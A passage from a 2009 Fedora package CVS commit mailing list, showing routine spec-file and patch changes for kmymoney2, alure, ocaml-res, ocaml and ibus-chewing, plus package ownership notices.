-POFILES = zh_CN.po ca.po da.po cs.po fi.po gl.po lt.po pl.po pt.po ru.po sk.po sv.po tr.po en_GB.po pt_BR.po es.po de.po ro.po es_AR.po fr.po nl.po it.po
-GMOFILES = zh_CN.gmo ca.gmo da.gmo cs.gmo fi.gmo gl.gmo lt.gmo pl.gmo pt.gmo ru.gmo sk.gmo sv.gmo tr.gmo en_GB.gmo pt_BR.gmo es.gmo de.gmo ro.gmo es_AR.gmo fr.gmo nl.gmo it.gmo
+POFILES = zh_CN.po ca.po da.po cs.po fi.po gl.po lt.po pl.po pt.po ru.po sk.po sv.po tr.po en_GB.po pt_BR.po es.po de.po ro.po es_AR.po fr.po nl.po
+GMOFILES = zh_CN.gmo ca.gmo da.gmo cs.gmo fi.gmo gl.gmo lt.gmo pl.gmo pt.gmo ru.gmo sk.gmo sv.gmo tr.gmo en_GB.gmo pt_BR.gmo es.gmo de.gmo ro.gmo es_AR.gmo fr.gmo nl.gmo
 CONFIG_CLEAN_FILES = $(GMOFILES)
 #>- all: all-am
 #>+ 1


Index: kmymoney2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kmymoney2/EL-5/kmymoney2.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- kmymoney2.spec	4 Oct 2009 21:28:14 -0000	1.25
+++ kmymoney2.spec	4 Oct 2009 22:06:21 -0000	1.26
@@ -27,7 +27,7 @@ Source0: http://downloads.sourceforge.ne
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n) 
 
 # RHEL5's gettext doesn't grok it.po
-Patch1: kmymoney2-1.0.1-no_it_locale.patch
+Patch1: kmymoney2-1.0.2-no_it_locale.patch
 
 # Upstream (and rpmforge) call this kmymoney, so we'll get ready.
 Obsoletes: kmymoney < %{version}-%{release}


--- kmymoney2-1.0.1-no_it_locale.patch DELETED ---



From guidograzioli at fedoraproject.org  Sun Oct  4 22:14:42 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Sun,  4 Oct 2009 22:14:42 +0000 (UTC)
Subject: rpms/alure/F-12 alure.spec, NONE, 1.1 alure_compile_with_gcc44.patch,
	NONE, 1.1 alure_multilib_pkgconfig.patch, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004221443.033C511C00E5@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/alure/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23264/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	alure.spec alure_compile_with_gcc44.patch 
	alure_multilib_pkgconfig.patch import.log 
Log Message:
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-4
- Fixed license for -devel subpackage
- Included sample code in -devel subpackage
- Sanitized %%files

* Tue Sep 29 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-3
- Renamed from libalure to alure
- Fixed license

* Mon Sep 28 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-2
- Fix multilib pkgconfig path

* Sat Sep 26 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-1
- Initial packaging 




--- NEW FILE alure.spec ---
Name:           alure
Version:        1.0
Release:        4%{?dist}
Summary:        Audio Library Tools REloaded
Group:          System Environment/Libraries
# ALURE code is LGPLv2+; note -devel subpackage has its own license tag
License:        LGPLv2+ 
URL:            http://kcat.strangesoft.net/alure.html
Source0:        http://kcat.strangesoft.net/%{name}-releases/%{name}-%{version}-src.tar.bz2
# patch to compile with GCC 4.4
Patch0:         alure_compile_with_gcc44.patch
# set correct pkgconfig path for multilib
Patch1:         alure_multilib_pkgconfig.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
# flac-devel not BRed as build against flac currently fails
BuildRequires:  cmake, libvorbis-devel, libsndfile-devel, openal-devel


%description
ALURE is a utility library to help manage common tasks with OpenAL 
applications. This includes device enumeration and initialization, 
file loading, and streaming.  


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
# Devel doc includes some files under GPLv2+ from NaturalDocs
License:        LGPLv2+ and GPLv2+
Requires:       %{name} = %{version}-%{release}
Requires:       pkgconfig


%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%prep
%setup -q 
%patch0 -p1
%patch1 -p1


%build
# disable build against FLAC (currently fails)
%cmake . -DFLAC:BOOL=OFF 
make VERBOSE=1 %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'
# strip installed html doc
rm -rf %{buildroot}%{_docdir}/alure/html


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc COPYING
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%doc docs/html examples
%{_includedir}/AL/
%{_libdir}/*.so
%{_libdir}/pkgconfig/*.pc


%changelog
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-4
- Fixed license for -devel subpackage
- Included sample code in -devel subpackage
- Sanitized %%files

* Tue Sep 29 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-3
- Renamed from libalure to alure
- Fixed license

* Mon Sep 28 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-2
- Fix multilib pkgconfig path

* Sat Sep 26 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-1
- Initial packaging 

alure_compile_with_gcc44.patch:
 stream.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE alure_compile_with_gcc44.patch ---
--- A/src/stream.cpp	2009-09-28 04:17:12.511762978 +0200
+++ B/src/stream.cpp	2009-09-28 04:17:25.200016279 +0200
@@ -10,6 +10,7 @@
 #include <vector>
 #include <memory>
 #include <string>
+#include <cstdio>
 
 
 struct nullStream : public alureStream {

alure_multilib_pkgconfig.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE alure_multilib_pkgconfig.patch ---
--- A/CMakeLists.txt	2009-09-28 15:55:01.864452396 +0200
+++ B/CMakeLists.txt	2009-09-28 15:55:28.513440879 +0200
@@ -323,7 +323,7 @@
         DESTINATION "include/${INCPATH}"
 )
 INSTALL(FILES "${ALURE_BINARY_DIR}/alure.pc"
-        DESTINATION lib/pkgconfig
+        DESTINATION ${LIB_INSTALL_DIR}/pkgconfig
 )
 
 


--- NEW FILE import.log ---
alure-1_0-4_fc11:F-12:alure-1.0-4.fc11.src.rpm:1254694400


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/alure/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:25:45 -0000	1.1
+++ .cvsignore	4 Oct 2009 22:14:38 -0000	1.2
@@ -0,0 +1 @@
+alure-1.0-src.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/alure/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:25:45 -0000	1.1
+++ sources	4 Oct 2009 22:14:41 -0000	1.2
@@ -0,0 +1 @@
+48a81287f2caf2adc5870cd075e70c9c  alure-1.0-src.tar.bz2



From guidograzioli at fedoraproject.org  Sun Oct  4 22:22:35 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Sun,  4 Oct 2009 22:22:35 +0000 (UTC)
Subject: rpms/alure/F-11 alure.spec, NONE, 1.1 alure_compile_with_gcc44.patch,
	NONE, 1.1 alure_multilib_pkgconfig.patch, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004222236.94D3F11C0298@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/alure/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28008/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	alure.spec alure_compile_with_gcc44.patch 
	alure_multilib_pkgconfig.patch import.log 
Log Message:
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-4
- Fixed license for -devel subpackage
- Included sample code in -devel subpackage
- Sanitized %%files

* Tue Sep 29 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-3
- Renamed from libalure to alure
- Fixed license

* Mon Sep 28 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-2
- Fix multilib pkgconfig path

* Sat Sep 26 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-1
- Initial packaging 




--- NEW FILE alure.spec ---
Name:           alure
Version:        1.0
Release:        4%{?dist}
Summary:        Audio Library Tools REloaded
Group:          System Environment/Libraries
# ALURE code is LGPLv2+; note -devel subpackage has its own license tag
License:        LGPLv2+ 
URL:            http://kcat.strangesoft.net/alure.html
Source0:        http://kcat.strangesoft.net/%{name}-releases/%{name}-%{version}-src.tar.bz2
# patch to compile with GCC 4.4
Patch0:         alure_compile_with_gcc44.patch
# set correct pkgconfig path for multilib
Patch1:         alure_multilib_pkgconfig.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
# flac-devel not BRed as build against flac currently fails
BuildRequires:  cmake, libvorbis-devel, libsndfile-devel, openal-devel


%description
ALURE is a utility library to help manage common tasks with OpenAL 
applications. This includes device enumeration and initialization, 
file loading, and streaming.  


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
# Devel doc includes some files under GPLv2+ from NaturalDocs
License:        LGPLv2+ and GPLv2+
Requires:       %{name} = %{version}-%{release}
Requires:       pkgconfig


%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%prep
%setup -q 
%patch0 -p1
%patch1 -p1


%build
# disable build against FLAC (currently fails)
%cmake . -DFLAC:BOOL=OFF 
make VERBOSE=1 %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'
# strip installed html doc
rm -rf %{buildroot}%{_docdir}/alure/html


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc COPYING
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%doc docs/html examples
%{_includedir}/AL/
%{_libdir}/*.so
%{_libdir}/pkgconfig/*.pc


%changelog
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-4
- Fixed license for -devel subpackage
- Included sample code in -devel subpackage
- Sanitized %%files

* Tue Sep 29 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-3
- Renamed from libalure to alure
- Fixed license

* Mon Sep 28 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-2
- Fix multilib pkgconfig path

* Sat Sep 26 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-1
- Initial packaging 

alure_compile_with_gcc44.patch:
 stream.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE alure_compile_with_gcc44.patch ---
--- A/src/stream.cpp	2009-09-28 04:17:12.511762978 +0200
+++ B/src/stream.cpp	2009-09-28 04:17:25.200016279 +0200
@@ -10,6 +10,7 @@
 #include <vector>
 #include <memory>
 #include <string>
+#include <cstdio>
 
 
 struct nullStream : public alureStream {

alure_multilib_pkgconfig.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE alure_multilib_pkgconfig.patch ---
--- A/CMakeLists.txt	2009-09-28 15:55:01.864452396 +0200
+++ B/CMakeLists.txt	2009-09-28 15:55:28.513440879 +0200
@@ -323,7 +323,7 @@
         DESTINATION "include/${INCPATH}"
 )
 INSTALL(FILES "${ALURE_BINARY_DIR}/alure.pc"
-        DESTINATION lib/pkgconfig
+        DESTINATION ${LIB_INSTALL_DIR}/pkgconfig
 )
 
 


--- NEW FILE import.log ---
alure-1_0-4_fc11:F-11:alure-1.0-4.fc11.src.rpm:1254694902


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/alure/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:25:45 -0000	1.1
+++ .cvsignore	4 Oct 2009 22:22:33 -0000	1.2
@@ -0,0 +1 @@
+alure-1.0-src.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/alure/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:25:45 -0000	1.1
+++ sources	4 Oct 2009 22:22:34 -0000	1.2
@@ -0,0 +1 @@
+48a81287f2caf2adc5870cd075e70c9c  alure-1.0-src.tar.bz2



From guidograzioli at fedoraproject.org  Sun Oct  4 22:24:56 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Sun,  4 Oct 2009 22:24:56 +0000 (UTC)
Subject: rpms/alure/F-10 alure.spec, NONE, 1.1 alure_compile_with_gcc44.patch,
	NONE, 1.1 alure_multilib_pkgconfig.patch, NONE, 1.1 import.log,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091004222457.001E711C00E5@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/alure/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29577/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	alure.spec alure_compile_with_gcc44.patch 
	alure_multilib_pkgconfig.patch import.log 
Log Message:
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-4
- Fixed license for -devel subpackage
- Included sample code in -devel subpackage
- Sanitized %%files

* Tue Sep 29 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-3
- Renamed from libalure to alure
- Fixed license

* Mon Sep 28 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-2
- Fix multilib pkgconfig path

* Sat Sep 26 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-1
- Initial packaging 




--- NEW FILE alure.spec ---
Name:           alure
Version:        1.0
Release:        4%{?dist}
Summary:        Audio Library Tools REloaded
Group:          System Environment/Libraries
# ALURE code is LGPLv2+; note -devel subpackage has its own license tag
License:        LGPLv2+ 
URL:            http://kcat.strangesoft.net/alure.html
Source0:        http://kcat.strangesoft.net/%{name}-releases/%{name}-%{version}-src.tar.bz2
# patch to compile with GCC 4.4
Patch0:         alure_compile_with_gcc44.patch
# set correct pkgconfig path for multilib
Patch1:         alure_multilib_pkgconfig.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
# flac-devel not BRed as build against flac currently fails
BuildRequires:  cmake, libvorbis-devel, libsndfile-devel, openal-devel


%description
ALURE is a utility library to help manage common tasks with OpenAL 
applications. This includes device enumeration and initialization, 
file loading, and streaming.  


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
# Devel doc includes some files under GPLv2+ from NaturalDocs
License:        LGPLv2+ and GPLv2+
Requires:       %{name} = %{version}-%{release}
Requires:       pkgconfig


%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%prep
%setup -q 
%patch0 -p1
%patch1 -p1


%build
# disable build against FLAC (currently fails)
%cmake . -DFLAC:BOOL=OFF 
make VERBOSE=1 %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'
# strip installed html doc
rm -rf %{buildroot}%{_docdir}/alure/html


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc COPYING
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%doc docs/html examples
%{_includedir}/AL/
%{_libdir}/*.so
%{_libdir}/pkgconfig/*.pc


%changelog
* Thu Oct 01 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-4
- Fixed license for -devel subpackage
- Included sample code in -devel subpackage
- Sanitized %%files

* Tue Sep 29 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-3
- Renamed from libalure to alure
- Fixed license

* Mon Sep 28 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-2
- Fix multilib pkgconfig path

* Sat Sep 26 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.0-1
- Initial packaging 

alure_compile_with_gcc44.patch:
 stream.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE alure_compile_with_gcc44.patch ---
--- A/src/stream.cpp	2009-09-28 04:17:12.511762978 +0200
+++ B/src/stream.cpp	2009-09-28 04:17:25.200016279 +0200
@@ -10,6 +10,7 @@
 #include <vector>
 #include <memory>
 #include <string>
+#include <cstdio>
 
 
 struct nullStream : public alureStream {

alure_multilib_pkgconfig.patch:
 CMakeLists.txt |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE alure_multilib_pkgconfig.patch ---
--- A/CMakeLists.txt	2009-09-28 15:55:01.864452396 +0200
+++ B/CMakeLists.txt	2009-09-28 15:55:28.513440879 +0200
@@ -323,7 +323,7 @@
         DESTINATION "include/${INCPATH}"
 )
 INSTALL(FILES "${ALURE_BINARY_DIR}/alure.pc"
-        DESTINATION lib/pkgconfig
+        DESTINATION ${LIB_INSTALL_DIR}/pkgconfig
 )
 
 


--- NEW FILE import.log ---
alure-1_0-4_fc11:F-10:alure-1.0-4.fc11.src.rpm:1254695015


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/alure/F-10/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:25:45 -0000	1.1
+++ .cvsignore	4 Oct 2009 22:24:55 -0000	1.2
@@ -0,0 +1 @@
+alure-1.0-src.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/alure/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:25:45 -0000	1.1
+++ sources	4 Oct 2009 22:24:56 -0000	1.2
@@ -0,0 +1 @@
+48a81287f2caf2adc5870cd075e70c9c  alure-1.0-src.tar.bz2



From rjones at fedoraproject.org  Sun Oct  4 22:31:21 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 22:31:21 +0000 (UTC)
Subject: rpms/ocaml-res/devel ocaml-res.spec,1.12,1.13
Message-ID: <20091004223122.0B3AF11C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml-res/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv528

Modified Files:
	ocaml-res.spec 
Log Message:
Changes -> Changelog


Index: ocaml-res.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml-res/devel/ocaml-res.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- ocaml-res.spec	4 Oct 2009 21:24:26 -0000	1.12
+++ ocaml-res.spec	4 Oct 2009 22:31:21 -0000	1.13
@@ -3,7 +3,7 @@
 
 Name:           ocaml-res
 Version:        3.2.0
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        OCaml library for resizing arrays and strings
 
 Group:          Development/Libraries
@@ -81,7 +81,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %files devel
 %defattr(-,root,root,-)
-%doc LICENSE README.txt Changes TODO
+%doc LICENSE README.txt Changelog TODO
 %doc lib/doc/res/html
 %doc lib/doc/res/latex/*.dvi lib/doc/res/latex/*.ps lib/doc/res/latex/*.pdf
 %if %opt
@@ -92,8 +92,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 3.2.0-2
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 3.2.0-3
 - New upstream release 3.2.0.
+- Changes file -> Changelog
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.1.1-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From rjones at fedoraproject.org  Sun Oct  4 22:34:51 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Sun,  4 Oct 2009 22:34:51 +0000 (UTC)
Subject: rpms/ocaml/devel ocaml-find-requires.sh, 1.4, 1.5 ocaml.spec, 1.58,
	1.59
Message-ID: <20091004223451.B4D6511C00E5@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/ocaml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2155

Modified Files:
	ocaml-find-requires.sh ocaml.spec 
Log Message:
- ocaml-find-requires.sh: Calculate runtime version using ocamlrun
  -version instead of fedora-ocaml-release file.



Index: ocaml-find-requires.sh
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml/devel/ocaml-find-requires.sh,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- ocaml-find-requires.sh	20 Nov 2008 15:30:55 -0000	1.4
+++ ocaml-find-requires.sh	4 Oct 2009 22:34:51 -0000	1.5
@@ -69,5 +69,5 @@ sort -u
 if [ -n "$emit_compiler_version" ]; then
     # Every OCaml program depends on the version of the
     # runtime which was used to compile it.
-    echo "ocaml(runtime) = `cat /usr/lib*/ocaml/fedora-ocaml-release`"
+    echo "ocaml(runtime) = `ocamlrun -version | awk '{print $NF}' | sed 's/\+.*//'`"
 fi


Index: ocaml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ocaml/devel/ocaml.spec,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- ocaml.spec	30 Sep 2009 12:25:22 -0000	1.58
+++ ocaml.spec	4 Oct 2009 22:34:51 -0000	1.59
@@ -2,7 +2,7 @@
 
 Name:           ocaml
 Version:        3.11.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 
 Summary:        Objective Caml compiler and programming environment
 
@@ -433,6 +433,10 @@ fi
 
 
 %changelog
+* Sun Oct  4 2009 Richard W.M. Jones <rjones at redhat.com> - 3.11.1-2
+- ocaml-find-requires.sh: Calculate runtime version using ocamlrun
+  -version instead of fedora-ocaml-release file.
+
 * Wed Sep 30 2009 Richard W.M. Jones <rjones at redhat.com> - 3.11.1-1
 - OCaml 3.11.1 (this is virtually the same as the release candidate
   that we were using for Fedora 12).



From pkgdb at fedoraproject.org  Sun Oct  4 23:37:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 23:37:56 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091004233756.4A99910F84D@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora devel is now owned by cwickert

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From pkgdb at fedoraproject.org  Sun Oct  4 23:38:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 04 Oct 2009 23:38:00 +0000
Subject: [pkgdb] nimbus ownership updated
Message-ID: <20091004233801.047AB10F84D@bastion2.fedora.phx.redhat.com>

Package nimbus in Fedora 10 is now owned by cwickert

To make changes to this package see:
  /pkgdb/packages/name/nimbus



From dchen at fedoraproject.org  Sun Oct  4 23:58:37 2009
From: dchen at fedoraproject.org (Ding-Yi Chen)
Date: Sun,  4 Oct 2009 23:58:37 +0000 (UTC)
Subject: rpms/ibus-chewing/devel .cvsignore, 1.22, 1.23 ibus-chewing.spec,
	1.26, 1.27 import.log, 1.17, 1.18 sources, 1.23, 1.24
Message-ID: <20091004235837.9F5FB11C00E5@cvs1.fedora.phx.redhat.com>

Author: dchen

Update of /cvs/pkgs/rpms/ibus-chewing/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2912/devel

Modified Files:
	.cvsignore ibus-chewing.spec import.log sources 
Log Message:
 Bugzilla Bug 518901  IBus Google issue 501, 502  Revised ibus-chewing icon.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/devel/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	17 Sep 2009 02:44:28 -0000	1.22
+++ .cvsignore	4 Oct 2009 23:58:34 -0000	1.23
@@ -1 +1 @@
-ibus-chewing-1.2.0.20090917-Source.tar.gz
+ibus-chewing-1.2.0.20091002-Source.tar.gz


Index: ibus-chewing.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/devel/ibus-chewing.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- ibus-chewing.spec	17 Sep 2009 02:44:28 -0000	1.26
+++ ibus-chewing.spec	4 Oct 2009 23:58:34 -0000	1.27
@@ -1,5 +1,5 @@
 Name:       ibus-chewing
-Version:    1.2.0.20090917
+Version:    1.2.0.20091002
 Release:    1%{?dist}
 Summary:    The Chewing engine for IBus input platform
 License:    GPLv2+
@@ -14,12 +14,12 @@ BuildRequires:  gtk2-devel
 BuildRequires:  ibus-devel >= 1.1
 BuildRequires:  cmake >= 2.4
 BuildRequires:  gob2
-BuildRequires:  libchewing-devel >= 0.3.2-4
+BuildRequires:  libchewing-devel >= 0.3.2-16
 BuildRequires:  pkgconfig
 BuildRequires:  GConf2-devel
 BuildRequires:  libXtst-devel
 Requires:   ibus >= 1.1
-Requires:  libchewing >= 0.3.2-4
+Requires:  libchewing >= 0.3.2-16
 Requires(pre): GConf2
 Requires(post): GConf2
 Requires(preun): GConf2
@@ -77,6 +77,17 @@ rm -rf $RPM_BUILD_ROOT
 %config(noreplace) %{_sysconfdir}/gconf/schemas/%{name}.schemas
 
 %changelog
+* Mon Oct 05 2009 Ding-Yi Chen <dchen at redhat.com> - 1.2.0.20091002-1
+- Bug 518901 - ibus-chewing would not work with locale zh_TW.Big
+- Fix Google issue 501: ibus-chewing buffer doesn't get cleared when
+toggling ibus on/off
+- Fix Google issue 502: ibus-chewing: character selection window stays
+behind when toggling ibus off- Use WM's revised ibus-chewing icon.
+- Debug output now marked with levels.
+
+* Wed Sep 30 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090917-2
+- Rebuild with ibus-1.2.0
+
 * Thu Sep 17 2009 Ding-Yi Chen <dchen at redhat.com> - 1.2.0.20090917-1
 - Addressed Upstream (IBUS Google code) issue 484:
   + Find the source that why the / and . are not working.


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/devel/import.log,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- import.log	17 Sep 2009 02:44:28 -0000	1.17
+++ import.log	4 Oct 2009 23:58:34 -0000	1.18
@@ -15,3 +15,4 @@ ibus-chewing-1_0_10_20090523-2_fc11:HEAD
 ibus-chewing-1_2_0_20090624-1_fc11:HEAD:ibus-chewing-1.2.0.20090624-1.fc11.src.rpm:1245803467
 ibus-chewing-1_2_0_20090916-1_fc11:HEAD:ibus-chewing-1.2.0.20090916-1.fc11.src.rpm:1253071014
 ibus-chewing-1_2_0_20090917-1_fc11:HEAD:ibus-chewing-1.2.0.20090917-1.fc11.src.rpm:1253155437
+ibus-chewing-1_2_0_20091002-1_fc11:HEAD:ibus-chewing-1.2.0.20091002-1.fc11.src.rpm:1254700639


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	17 Sep 2009 02:44:28 -0000	1.23
+++ sources	4 Oct 2009 23:58:34 -0000	1.24
@@ -1 +1 @@
-b6c8c843c4d766245c90a8cb60da3444  ibus-chewing-1.2.0.20090917-Source.tar.gz
+fd4f70b4ac6e561201b668d0acbf085b  ibus-chewing-1.2.0.20091002-Source.tar.gz



From dchen at fedoraproject.org  Sun Oct  4 23:59:46 2009
From: dchen at fedoraproject.org (Ding-Yi Chen)
Date: Sun,  4 Oct 2009 23:59:46 +0000 (UTC)
Subject: rpms/ibus-chewing/F-10 .cvsignore, 1.13, 1.14 ibus-chewing.spec,
	1.14, 1.15 import.log, 1.9, 1.10 sources, 1.15, 1.16
Message-ID: <20091004235946.056BA11C00E5@cvs1.fedora.phx.redhat.com>

Author: dchen

Update of /cvs/pkgs/rpms/ibus-chewing/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4090/F-10

Modified Files:
	.cvsignore ibus-chewing.spec import.log sources 
Log Message:
 Bugzilla Bug 518901  IBus Google issue 501, 502  Revised ibus-chewing icon.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-10/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	17 Sep 2009 05:24:24 -0000	1.13
+++ .cvsignore	4 Oct 2009 23:59:45 -0000	1.14
@@ -1 +1 @@
-ibus-chewing-1.2.0.20090917-Source.tar.gz
+ibus-chewing-1.2.0.20091002-Source.tar.gz


Index: ibus-chewing.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-chewing/F-10/ibus-chewing.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- ibus-chewing.spec	17 Sep 2009 05:24:24 -0000	1.14
+++ ibus-chewing.spec	4 Oct 2009 23:59:45 -0000	1.15
@@ -1,5 +1,5 @@
 Name:       ibus-chewing
-Version:    1.2.0.20090917
